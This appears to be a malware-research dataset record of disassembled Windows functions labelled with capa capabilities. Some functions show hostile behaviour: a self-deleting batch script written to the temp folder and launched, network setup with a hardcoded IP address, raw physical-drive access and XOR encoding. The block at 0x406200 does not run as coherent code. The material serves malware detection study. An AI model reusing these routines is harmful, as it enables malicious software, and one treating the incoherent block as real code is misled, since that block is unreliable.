joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44077b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
cmp dword [eax + 0x10], 0x10000
je 0x4407cf
cmp dword [eax + 0x18], 0x20000
je 0x4407cf
mov edi, dword [eax + 4]
push 0x40
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x4407cf
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x4407cf
mov esi, dword [edi + 0x3c]
push 0xf8
add esi, edi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x4407cf
cmp dword [esi], 0x4550
cmove eax, esi
jmp 0x4407d1
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x440d3a
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetFileAttributesA]

Function at 0x440d44
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetFileAttributesW]

Function at 0x440eab
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.WININET.dll_InternetCrackUrlA]

Function at 0x440eb5
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.WININET.dll_InternetCrackUrlW]

Function at 0x441080
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.KERNEL32.dll_SetFileAttributesA]

Function at 0x44108a
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.KERNEL32.dll_SetFileAttributesW]

Function at 0x4410c4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExA]

Function at 0x4410ce
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x4410f4
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
jmp loc.004ad208
Function at 0x45c0c1
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x491330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0044bdbb
mov dword [ebp - 0x14], eax
cmp dword [0x4955f8], esi
jne 0x45c1b4
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x45c141
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x45c294
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x45c294
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x45c294
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4955f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4955fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x495600], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x495608], eax
test eax, eax
je 0x45c1b1
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x495604], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x45c1d9
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x45c1cc
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x45c1ee
push 4
pop eax
jmp 0x45c296
cmp dword [ebp - 0x14], esi
je 0x45c1ee
push dword [0x4955f8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x45c1d3
mov eax, dword [0x495604]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x45c24c
cmp dword [0x495608], edi
je 0x45c24c
push eax
call ebx
push dword [0x495608]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x45c24c
test eax, eax
je 0x45c24c
call ecx
test eax, eax
je 0x45c241
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x45c241
test byte [ebp - 8], 1
jne 0x45c24c
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x45c27c
mov eax, dword [0x4955fc]
cmp eax, edi
je 0x45c279
push eax
call ebx
test eax, eax
je 0x45c279
call eax
mov esi, eax
test esi, esi
je 0x45c279
mov eax, dword [0x495600]
cmp eax, edi
je 0x45c279
push eax
call ebx
test eax, eax
je 0x45c279
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4955f8]
call ebx
test eax, eax
je 0x45c294
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x45c296
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00441f6f
mov esp, ebp
pop ebp
ret
Function at 0x403450
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x403452
ret

Function at 0x406200
Capabilities:
Encode data using xor

Disassembly:
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 8
jbe 0x40624d
or al, 0x53
push esi
cmp dword gs:[eax + 4], 1
jne 0x409c17
mov ebx, dword [eax + 0xc]
add al, 0x45
pop eax
or al, 4
inc ebp
or byte [ebx], dh
leave
mov esi, dword [esi + 0x47b8b04]
ja 0x4061f8
mov dword [ebx - 8], edi
jbe 0x406240
mov esi, dword [eax + 0x4e306d]
add esi, 0xc
cmp ebx, dword [esi]
je 0x40624e
inc ecx
add esi, 0x14
cmp ecx, edx
jb 0x406234
adc al, 0x3b
retf 0xf472
pop edi
pop esi
mov eax, 0x1117f
pop ebx
mov esp, ebp
pop ebp
ret 8
add byte [ebx - 0x6e72af27], cl
fnstcw word [ebx]
retf 0x7089
mov ebx, ecx
push eax
lea edx, [ecx - 0x7635c427]
jo 0x40625d
jge 0x406217
lea ebx, [ebx + ebx*4]
wait
or bh, byte [ecx + ecx*4]
cli
jecxz 0x40623b
shl edi, 2
sub edx, ecx
jge 0x406274
mov dword [ebp - 4], edx
mov ecx, dword [eax + 0x306a]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0xc]
lea eax, [edi - 0x58]
cmp edx, dword [esi + 0xc]
jne 0x406288
add byte [ebx + 0x528b0c55], cl
or al, 0x8d
inc edi
test al, 0x3b
push esi
or al, 0x75
add eax, 0xeb0448ff
add cl, byte [ebp + 0x568c53c]
dec dword [eax + 4]
jmp 0x40628a
lea edi, [eax*8 + 0x75000568]
add byte [0x83087d8b], ah
ret
lds ebp, [eax + 5]
add byte [ebp], dh
and al, 0xa5
mov edi, dword [ebp + 8]
add ebx, 0x14
mov ecx, dword [ebp - 4]
nop
invalid
xor esi, esi
jmp 0x409c21
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test eax, eax
jne 0x409c3b
mov ecx, ebp
std
xor eax, eax
test dh, al
test dl, dl
mov dword [edi + 0x30], eax
rcl byte [esp + eax + 0x663d000b]
add cl, byte [ecx + 0x4789344f]
add al, 0x5e
pop esi
inc edi
inc edi
mov esi, dword [ebp + 0x10]
not eax
loop 0x409c0b
pop edi
neg eax
sbb eax, eax
pop esi
jne 0x409cca
adc dword [ecx], eax
add byte [ebx - 0x75], bl
in eax, 0x5d
ret
pop ebp
cmc
mov byte [ebp - 0xa], bl
mov byte [eax + 0x85d88f7], bl
mov byte [ebp + 0x35], 1
dec dword [esi + sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409cf2
inc esp
and byte [esi + 0x40], 0
pop ecx
aas
sbb byte [eax], al
add byte [ebx + 0x6e00480], al
test al, 0x90
test byte [esi], al
inc ecx
add byte [ebx - 0x3808f78b], cl
xor eax, 0x74001000
sbb bh, dh
inc esi
add al, 0
inc eax
add dword [eax], eax
je 0x409d72
mov eax, dword [0x41e89e]
rcl dword [esi + 0x10], 0x3b
ret
test edi, 0x200000
pop esp
test byte [ecx - 0x9000000], al
inc esi
add al, 0x4f
add dl, ch
add byte [ebx + 0x14468b78], dl
mov dword [ebp - 0xb], 0xafa302
mov dword [ebp - 0x10], eax
mov eax, dword [0x9c160648]
cmp edi, ecx
jne 0x409db6
push ebx
push 0x9411a8c
push 1
call 0x414d40
add dword [eax], 0xc
cmp eax, ebx
mov dword [0x4106eb], eax
and dh, 0x8d
dec ebp
ljmp 0x4d8b
lea ecx, [ebp - 0x16]
lea edx, [ebp - 0x20]
push ecx
mov ecx, dword [ebp + 0x10]
push edx
push ecx
call eax
jmp 0x409dda
cmc
ret
Function at 0x401c80
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00416c10
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401d4f
mov eax, str.golfinfo.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x401cc5
sub eax, edx
sar eax, 1
je 0x401d4f
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.0041483b
push 0x42c8b0
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00414d8b
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401d4f
push eax
push 1
push 0x200
push esi
call fcn.0041507e
mov eax, dword [esp + 0x14]
push eax
call fcn.00415112
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret

Function at 0x401d70
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00416c10
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401e75
mov eax, str.golfset.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x401db5
sub eax, edx
sar eax, 1
je 0x401e75
cmp dword [0x433fbc], 3
jne 0x401dfc
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42c8b8
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.0041483b
add esp, 0xc
jmp 0x401e0c
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfset.ini
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.0041483b
push 0x42c8b0
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00414d8b
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401e75
push eax
push 1
push 0x200
push esi
call fcn.0041507e
mov edx, dword [esp + 0x14]
push edx
call fcn.00415112
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
Function at 0x401e90
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00416c10
add esp, 0xc
cmp dword [0x433fbc], 3
jne 0x401ef0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42c8b8
lea eax, [esp + 4]
push 0x104
push eax
call fcn.0041483b
add esp, 0xc
jmp 0x401eff
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x42c8bc
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0041482c
add esp, 0x20c
ret

Function at 0x4020d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x254
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x250], eax
mov eax, dword [esp + 0x258]
push ebx
push esi
push edi
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x5a]
push edx
mov dword [esp + 0x1c], eax
mov word [esp + 0x5c], cx
call fcn.00416c10
add esp, 0xc
push 0x104
lea eax, [esp + 0x54]
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [esp + 0x50]
sub ecx, 0x41
push ecx
lea ebx, [esp + 0x10]
call fcn.004023a0
xor eax, eax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
mov eax, dword [esp + 0x10]
mov ecx, 9
mov esi, str..PHYSICALDRIVE
lea edi, [esp + 0x2c]
xor edx, edx
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x4c], 0
mov word [esp + 0x14], dx
test eax, eax
jl 0x4021b9
push 0xa
push 0xa
lea ecx, [esp + 0x1c]
push ecx
push eax
call fcn.00415e98
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x3c]
push 0x14
push eax
call fcn.0041483b
add esp, 0x1c
push 0
push 0
push 3
push 0
push 3
push connect
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x4021d3
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.0041482c
add esp, 0x254
ret
mov edx, dword [esp + 0x10]
push edx
call fcn.00402000
mov ecx, dword [esp + 0x260]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041482c
add esp, 0x254
ret
Function at 0x402530
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.00414939
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42e488]
fadd qword [0x42e4a0]
call fcn.00418930
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x402650
call fcn.00414939
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42e488]
fmul qword [0x42e498]
fadd qword [0x42e490]
call fcn.00418930
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x402638
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x402629
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x402620
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x4025e7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x4026f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00416c10
add esp, 0xc
cmp edi, esi
je 0x4027d8
mov eax, 0x42c790
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402735
sub eax, edx
sar eax, 1
je 0x40275f
push 0x42c924
lea edx, [esp + 8]
push 0x42c790
push edx
call fcn.00414d8b
add esp, 0xc
jmp 0x40279a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0041483b
push 0x42c924
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00414d8b
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x4027bd
push eax
push 1
push 0x200
push edi
call fcn.00415351
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00415112
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041482c
add esp, 0x214
ret
Function at 0x4027f0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x42c8b0
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00414d8b
add esp, 0xc
test eax, eax
je 0x402814
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0041545d
mov eax, dword [esp + 0x1c]
push eax
call fcn.0041567f
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0041545d
lea ebp, [esi + 0x32]
push ebp
call fcn.0041573c
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.0041507e
mov eax, dword [esp + 0x40]
push eax
call fcn.00415112
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.004028c0
mov ecx, dword [esp + 0x4c]
push 0x42c924
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.00414d8b
add esp, 0x40
test eax, eax
je 0x402892
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.00415351
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00415112
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x402910
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uinsey.bat
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.00416064
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.00415806
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00415870
add esp, 0x14
test eax, eax
je 0x40299b
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a97
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029d0
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029e7
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a00
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040a3f1
push edi
mov esi, eax
push 0
push esi
call fcn.00416c10
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push edi
push esi
call fcn.0041589d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a50
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x402a95
push esi
call fcn.0040a3fc
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0041482c
add esp, 0x314
ret
Function at 0x402ab0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3e8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.00416c10
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x437480
call fcn.00401bd0
add esp, 4
test eax, eax
jne 0x402bf9
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.00416c10
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00402cc0
xor eax, eax
jmp 0x402b40
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x437628], cx
add eax, 2
test cx, cx
jne 0x402b40
push str.218.54.31.165
push 0x40
push 0x437484
call fcn.004148b8
add esp, 0xc
push str.AAAA
mov edx, 0x51
push 0x10
push 0x437506
mov word [0x437504], dx
call fcn.004148b8
add esp, 0xc
push 0x42c7c4
push 0x40
push 0x437526
call fcn.004148b8
mov eax, 0x2b66
add esp, 0xc
mov word [0x4375a6], ax
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x437608], cx
add eax, 2
test cx, cx
jne 0x402bb0
mov eax, 0x437608
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402bd0
mov ecx, dword [0x42c940]
mov dx, word [0x42c944]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x437648], 5
call fcn.00402d60
lea edi, [esp + 0x1d8]
call fcn.00402cc0
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x4378b8], cx
add eax, 2
test cx, cx
jne 0x402c10
push 0x4378b8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402c5c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.0041482c
add esp, 0x3e8
ret
push 0x4378b8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402c44
mov ecx, 0x437938
call fcn.00402fb0
mov eax, dword [0x43764c]
push 0
push 0
push 0
push 0x403590
push 0
push 0
mov dword [0x437940], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
mov dword [0x434038], eax
xor ecx, esp
mov eax, 1
call fcn.0041482c
add esp, 0x3e8
ret
Function at 0x403830
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x434
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x42c], eax
mov eax, dword [esp + 0x43c]
push ebx
push ebp
mov ebp, dword [esp + 0x440]
push esi
push edi
push eax
mov ecx, ebp
call fcn.00403a00
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4039e2
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x32]
push edx
mov word [esp + 0x34], cx
call fcn.00416c10
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x23a]
push ecx
mov word [esp + 0x23c], ax
call fcn.00416c10
add esp, 0xc
lea esi, [esp + 0x28]
call fcn.004036d0
push 0x42c8b8
mov edx, esi
push 0x104
push edx
call fcn.0041483b
xor eax, eax
lea ebx, [esp + 0x20]
add esp, 0xc
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov word [esp + 0x25], ax
mov byte [esp + 0x27], al
mov esi, 0x436b68
sub ebx, 0x436c6c
cmp word [esi], 0
je 0x403967
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x234]
push 0x104
push ecx
call fcn.004148b8
add esp, 0xc
push esi
lea edx, [esp + 0x234]
push 0x104
push edx
call fcn.0041483b
lea eax, [esp + 0x23c]
add esp, 0xc
push eax
lea edi, [esp + 0x18]
call fcn.00406100
add esp, 4
test eax, eax
je 0x403967
mov ecx, 0x14
lea eax, [esi + 0x104]
lea ecx, [ecx]
mov edx, dword [ebx + eax]
cmp edx, dword [eax]
jne 0x403967
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x403950
xor eax, eax
mov word [esi], ax
add esi, 0x118
sub ebx, 0x118
cmp esi, 0x4370e0
jl 0x4038f4
mov edi, dword [esp + 0x44c]
mov esi, 0x436b68
jmp 0x403990
cmp word [esi], 0
je 0x4039a1
push edi
push ebp
push esi
call fcn.00404260
add esp, 0xc
add esi, 0x118
cmp esi, 0x4370e0
jl 0x403990
push 0x437b38
lea ecx, [esp + 0x2c]
push 0x104
push ecx
call fcn.0041483b
add esp, 0xc
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4039de
mov dword [esp + 0x10], 2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041482c
add esp, 0x434
ret